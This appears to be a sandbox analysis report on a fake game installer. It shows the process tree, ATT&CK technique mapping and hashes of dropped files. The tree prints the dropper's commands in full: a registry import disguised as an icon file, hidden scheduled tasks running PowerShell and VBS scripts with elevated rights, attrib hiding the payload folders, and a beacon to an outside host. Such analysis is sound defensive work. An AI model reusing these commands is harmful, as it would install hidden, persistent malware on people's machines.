  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=4952,i,2527468595354944933,8126845737337969286,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=7108 /prefetch:1
  2⤵
  PID:5420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=7012,i,423565034443992278,7799231807472690608,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=7032 /prefetch:1
  2⤵
  PID:5588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=6976,i,10656609030164767992,18276139056984366810,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:1
  2⤵
  PID:1668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=es --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5348,i,12204229033739414206,2364140328719503521,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=6916 /prefetch:14
  2⤵
  PID:6028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=6884,i,16750677766925097656,15155824273590142029,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=7176 /prefetch:1
  2⤵
  PID:2252
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=4940,i,7841020875697117200,13946331503722270931,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:1
  2⤵
  PID:3420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=5088,i,10331804574798361563,13839179668007966989,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=3668 /prefetch:1
  2⤵
  PID:4804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=es --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6996,i,15340985647020531837,10905796717085322346,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=7752 /prefetch:14
  2⤵
  PID:5364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=es --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6804,i,5573303602897031369,13492709229508774186,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=2892 /prefetch:14
  2⤵
  PID:4540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=5488,i,10497026328096145340,10768060362157259352,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
  2⤵
  PID:3088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7952,i,13664043879863036458,8675387709783481069,262144 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=6988 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=es --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6020,i,10182003495769285129,14273294034126162769,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:14
  2⤵
  PID:5676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=es --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4084,i,16631700654775284267,12865406699390339659,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:14
  2⤵
  PID:4184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=es --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5588,i,6571651274805886980,2458901208670660079,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:14
  2⤵
  PID:2244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=es --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5400,i,7673066757965135845,204833377885764570,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=7956 /prefetch:14
  2⤵
  - NTFS ADS
  PID:2436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --metrics-shmem-handle=6412,i,4393356830257996633,7789531125167145089,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=8056 /prefetch:1
  2⤵
  PID:6052

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:924

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3544

C:\Windows\system32\WerFault.exe
"C:\Windows\system32\WerFault.exe" -k -lc WATCHDOG WATCHDOG-20260910-2141.dmp
1⤵
PID:1712

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1536

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\full_version_35426925_local_game_installation.rar"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1392

C:\Users\Admin\Downloads\Game.exe
"C:\Users\Admin\Downloads\Game.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3880
- C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe
  "C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe" C:\Users\Admin\Downloads
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3152
- - C:\Users\Admin\Downloads\Game.exe
    "C:\Users\Admin\Downloads\Game.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:952
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 952 -s 912
      4⤵
      Program crash
      PID:5676
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tidy.bat" "C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe" "attrib" "HKEY_LOCAL_MACHINE\SOFTWARE\\" "ADHWWZ" "S13SPB2Z_2026-09" "Game_patch-run.exe" "Windows Registry Editor" "scheduledtask" "HKEY_CURRENT_USER\SOFTWARE\\""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5632
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:2300
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2740
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Get-Content -LiteralPath \"C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico\").Replace('{HKS}', '"HKEY_LOCAL_MACHINE\SOFTWARE\\"').Replace('{WRE}', '"Windows Registry Editor"').Replace('{HKU}', '"HKEY_CURRENT_USER\SOFTWARE\\"') | Set-Content -LiteralPath \"C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2036
  - - C:\Windows\SysWOW64\reg.exe
      reg.exe import C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:1144
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "foreach ($item in @(\"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\", \"$env:PROGRAMDATA\DiagnosticsNET\update.vbs\", \"$env:PROGRAMDATA\DiagnosticsNET\updater.vbs\", \"$env:PROGRAMDATA\DiagnosticsNET\cache.ps1\", \"$env:PROGRAMDATA\Features\update.ps1\", \"$env:PROGRAMDATA\UpdatesWin\update.ps1\", \"$env:PROGRAMDATA\UpdatesWin\updater.ps1\", \"$env:PROGRAMDATA\SdkWin\update.ps1\", \"$env:PROGRAMDATA\SdkWin\updater.vbs\", \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\", \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\update.vbs\")) { if (Test-Path -LiteralPath $item) { Remove-Item -LiteralPath $item -Force } }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6048
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "$ErrorActionPreference = 'SilentlyContinue'; "$paths = @{ \"$env:PROGRAMDATA\Features\x\" = 'icfqxfuclzobheeoqerwwhgkvnwrnpx'; \"$env:PROGRAMDATA\Features\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\DiagnosticsNET\configuration.tmp\" = 'configuration.ps1'; \"$env:PROGRAMDATA\DiagnosticsNET\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\UpdatesWin\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\UpdatesWin\updater.tmp\" = 'updater.ps1'; \"$env:PROGRAMDATA\SdkWin\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\SdkWin\updater.tmp\" = 'updater.vbs'; \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.tmp\" = 'updater.ps1'; \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\WinPackages\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\WinPackages\updater.tmp\" = 'updater.ps1' }; foreach ($src in $paths.Keys) { if (Test-Path -LiteralPath $src) { Rename-Item -LiteralPath $src -NewName $paths[$src] } }"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:656
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:640
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2884
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Get-Content -LiteralPath \"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\") -replace '{flPQ}', 'a62h81hab8329ja' -replace '{testD1}', 'DiagnosticsNET\win64\network_agent.dll' -replace '{testD2}', 'DiagnosticsNET\win32\network_agent.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\WinPackages\updater.ps1\") -replace '{randomzt}', 'ES' -replace '{randomui}', 'icfqxfuclzobheeoqerwwhgkvnwrnpx' | Set-Content -LiteralPath \"$env:PROGRAMDATA\WinPackages\updater.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\SdkWin\update.ps1\") -replace '{randomkey}', '1eJctR5LdYdNRycM' -replace '{randomtest1}', 'SdkWin\C#(.NET)\4.5\net_diagn.dll' -replace '{randomtest2}', 'SdkWin\C#(.NET)\9.0\net_diagn.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\SdkWin\update.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\") -replace '{liveTest}', 'a50caac3a2e33afe425060c1de16ff24' -replace '{testL1}', '64\dll\aplt.dll' -replace '{testL2}', '32\dll\aplt.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5768
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell $triggerAtStartup = New-"scheduledtask"Trigger -AtStartup; $triggerAtLogon = New-"scheduledtask"Trigger -AtLogon; $dt = (get-date).AddDays(30).AddMinutes(3); $stt = New-"scheduledtask"Trigger -RepetitionInterval (new-timespan -days 30) -at $dt -Once; $stt.Repetition.StopAtDurationEnd = $false; $settings = New-"scheduledtask"SettingsSet -Hidden -StartWhenAvailable -AllowStartIfOnBatteries -ExecutionTimeLimit 0 -DontStopIfGoingOnBatteries -DontStopOnIdleEnd; $principal = New-"scheduledtask"Principal -RunLevel Highest -GroupId 'S-1-5-32-545'; $principal2 = New-"scheduledtask"Principal -RunLevel Highest -UserID "$env:USERNAME" -LogonType S4U; $action = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\DiagnosticsNET\update.vbs\"'; $action2 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\SdkWin\updater.vbs\"'; $action3 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\WinPackages\update.vbs\"'; $action4 = New-"scheduledtask"Action -Execute "powershell.exe" -Argument '-ExecutionPolicy Bypass -WindowStyle Hidden -File \"%PROGRAMDATA%\UpdatesWin\updater.ps1\"'; $action5 = New-"scheduledtask"Action -Execute "powershell.exe" -Argument '-ExecutionPolicy Bypass -WindowStyle Hidden -File \"%PROGRAMDATA%\UpdatesWin\update.ps1\"'; $action6 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\GameSavings\Windows\win_libraries\update.vbs\"'; $task = New-"scheduledtask" -Action $action -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task2 = New-"scheduledtask" -Action $action2 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task3 = New-"scheduledtask" -Action $action3 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task4 = New-"scheduledtask" -Action $action4 -Trigger $stt -Principal $principal2 -Settings $settings; $task5 = New-"scheduledtask" -Action $action5 -Trigger $stt -Principal $principal2 -Settings $settings; $task6 = New-"scheduledtask" -Action $action6 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; unregister-"scheduledtask" -TaskName 'NetworkDiagnosticService' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'SystemCacheMaintenance' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'IEPackages' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameSettingsDLC' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameUpdaterDLC' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameSavings' -Confirm:$false -ErrorAction SilentlyContinue; register-"scheduledtask" 'NetworkDiagnosticService' -InputObject $task; register-"scheduledtask" 'SystemCacheMaintenance' -InputObject $task2; register-"scheduledtask" 'IEPackages' -InputObject $task3; register-"scheduledtask" 'GameSettingsDLC' -InputObject $task4; register-"scheduledtask" 'GameUpdaterDLC' -InputObject $task5; register-"scheduledtask" 'GameSavings' -InputObject $task6;
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4520
  - - C:\Windows\SysWOW64\attrib.exe
      "attrib" +h +s "C:\ProgramData\Features\*.*" /s /d
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4688
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Features\update.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://getadblocktag.com/v1/s/t/info?a=ins&sub=ADHWWZX&n=Game&bucket=S13SPB2Z_2026-09X&u=9icfqxfuclzobheeoqerwwhgkvnwrnpx
      4⤵
      PID:1648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 952 -ip 952
1⤵
PID:5612

C:\Users\Admin\Downloads\Game.exe
"C:\Users\Admin\Downloads\Game.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5056
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5056 -s 912
  2⤵
  - Program crash
  PID:1796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 5056 -ip 5056
1⤵
PID:2068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

configuration.tmp

Path C:\ProgramData\DiagnosticsNET\configuration.tmp
Size 2KB
SHA256 868f30d544d375eb85b51f0b0e9c95a466505cfba19b1d31103da5067e968d0c
MD5 0a011fde5ef12a6aedd47d625852fda3
SHA1 2e10b5f268c94ab48bf30074bc346cbf513eaec2
SHA512 6b6755f1401b46a8be216c1220b74c02567df409af718b1980f2ac99e87963b0077fc3fe9413155c9e73eb30da3e538f2e40fee35e1e6b00990324864d7b1de6
TLSH
T10B41DC446E06AA6299B21B35D5C612BCFB1A103F472E0160B6AD17946FF6036CA6CF4C
MD5 SHA1 SHA512 TLSH

Submit Download

update.tmp

Path C:\ProgramData\DiagnosticsNET\update.tmp
Size 636B
SHA256 484b1303209287c51520b6b2952f34b8f21085f51a9c9de1d21a8551fc850e69
MD5 bf7546635574ef69ad6aea52341f2ed1
SHA1 f5e0a5515e81872365e1e33112452c0fc9f5a2e8
SHA512 32bde069a96b7354c5f013aeb9bbabf84aa5e27cb69f07e04be8c4d366d7059521852f2da7631f80f18d885f4ff8c453d99668745079d326e60145b55f180bf8
TLSH
T174F02695BD8AE231B4568B0A4276C9AC075501D9231AE4283AC556C43C26B888FB038A
MD5 SHA1 SHA512 TLSH

Submit Download

update.tmp

Path C:\ProgramData\Features\update.tmp
Size 1KB
SHA256 ee50f0f2f925cc1221c2d9f0582b3c35f2520ff191d9c55b652b3342a5c73d6d
MD5 a27e6fa62fe9a021ea9b8743ac1c4f25
SHA1 5ffbf5e69895916e94bfb6bed0542b9660c68a5a
SHA512 f9e3913fa529104ff7e169abf39239a8e88c837f20ede5a904301848be8893fc6c7638079a233e0d4e5a2f13f0f47cad2a28edd91b73e3dc5fe8a526d88a77d6
TLSH
T1CF312503F44088E691729F69B6C6164AFE59057F820A13017FBCC34F6FB083E9BD9968
MD5 SHA1 SHA512 TLSH

Submit Download

updater.tmp

Path C:\ProgramData\GameSavings\Windows\win_libraries\updater.tmp
Size 13KB
SHA256 77142f53bb0bddb4a8bd57701f65dd90d1cda8804c3e995bf23934653bf7d1cc
MD5 9696b2c7cf128ae6ffcc4d82f33d5b71
SHA1 29b6f15c524c456112bcf79febbff57a7d525364
SHA512 5716eedf31b7f54a5ca5aba19ee31f7ec89a5a5d011561bc2964cef66fbbb8489a8ce55ce06ed48b08501a1bbacb653046671899342e73c8568967be915687b0
SSDEEP 192:oJkbGDL67REEWI6/sTirEBADMqCCWA16PhY4cyEGoiJfUA/eQ:oa7REBI0clA1cp
TLSH
T1A25251146D43661A0AF6D72DEE99902CFF0B403F5A791220B9AC47082F76069967CF6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

update.tmp

Path C:\ProgramData\SdkWin\update.tmp
Size 2KB
SHA256 84b1661621ebe8992cab26c32b67d83d42f6d74e9926b69ed347b83185895278
MD5 43e825f9f6cfe537a3e623343b2a7d5b
SHA1 f0f33f66637f30f992797973a80d8063f6687869
SHA512 5a136ce51087e044c84521d63a69db91c754b9ef9c207992c5a739fa4ab09b8baf690eccaddb04dd9e9810fdbb0b2aa4796caa2f249949e67db3a9701f4663e2
TLSH
T15E410C266966647944B36739E8B24004FF2A112B4ABD0002B8AC41D97FF0DB5D379FAE
MD5 SHA1 SHA512 TLSH

Submit Download

updater.tmp

Path C:\ProgramData\SdkWin\updater.tmp
Size 629B
SHA256 51e30dfc40b2b4627c447471d8ab53ba3cb7bb8215afc6277bf92943e40a4d0d
MD5 fd8d3308a986f6d8b9e4c12d456a9d78
SHA1 02c1a64cf15b0836694ac87e0e477266ec13cde7
SHA512 eb65c7cefb4ea30515e6fdced698f23014fb02636b05c412d57ef597b3ab4e7ea262607c4ac7e8ac19adbc3f4ec19425479878c118fed1388e77113adc745e93
TLSH
T14CF0F995BD8AE231B4568B1A4276C5AD074501D9631AE4283BC557C47C26F889FF43CA
MD5 SHA1 SHA512 TLSH

Submit Download

update.tmp

Path C:\ProgramData\UpdatesWin\update.tmp
Size 2KB
SHA256 12936009703fa8a7ada0700fcbd138db700b2a46a0108e1580b375f291a0d376
MD5 61dc418765d441f7232b00730315b1e2
SHA1 525fd9916c49301fcf7ddca2315dd6428f50dda5
SHA512 588f0e0f9ba4bca50b8e9d06a5d85dc8da75bc7ebf15489eb17bbdf2ef5bb0529180fca567766d0f9d665847494ff1330a294927359d52b545bee0e36782070b
TLSH
T10151412B691A6125D37223B1D6966418EE3BC01F9E59404070DDE589FFB067443FDFE1
MD5 SHA1 SHA512 TLSH

Submit Download

updater.tmp

Path C:\ProgramData\UpdatesWin\updater.tmp
Size 2KB
SHA256 8345cf16434236ab88e012de3006b20f81fb2f0e5f6452cb3942e792e2b1aef1
MD5 67191b1c8799ed6712c59f0f0d626e9c
SHA1 0cef5b0472ea9608f6af457a73abf82700a1a9d1
SHA512 ff251471395547180f50761288df2d3d9c044263fef4cc26a987a06efc2ca01d701e55664a5e6a25af082137184b768910f081afdbf64845d82afb81d0580a63
TLSH
T1915114499A13512042B3D37E95B2D278EB3F811F021A0114B1FC62823F31A7C4BDAFE8
MD5 SHA1 SHA512 TLSH

Submit Download

update.tmp

Path C:\ProgramData\WinPackages\update.tmp
Size 630B
SHA256 67c0081a99cc2f2bccd00a5b0df92460ddb0843bd7bddb1d8c90a89a08d2ab42
MD5 84b4ed0b6882be985d81dfceff59a9bc
SHA1 33dfd51b594d5f9e131f611ede57a735b0ee0cbd
SHA512 981b7279aedb6dbde018e154665f352ef0941f86c15ebbd29518cfad441867296c84552a5cc79bbe1e03afa00fcb4c69d04a62d30b68bcc12b78590285cd0a3d
TLSH
T176F0F995BD8AE631B4568B0A4276C5AD074501D9631AE4283BC557C87C26F889FF43CA
MD5 SHA1 SHA512 TLSH

Submit Download

updater.tmp

Path C:\ProgramData\WinPackages\updater.tmp
Size 5KB
SHA256 d95edae2c06c2b95acee8d185dcf9893927844cce7fded48a8be79f06d12aa7b
MD5 5e5e4d02fe7c654034d3162a025d2253
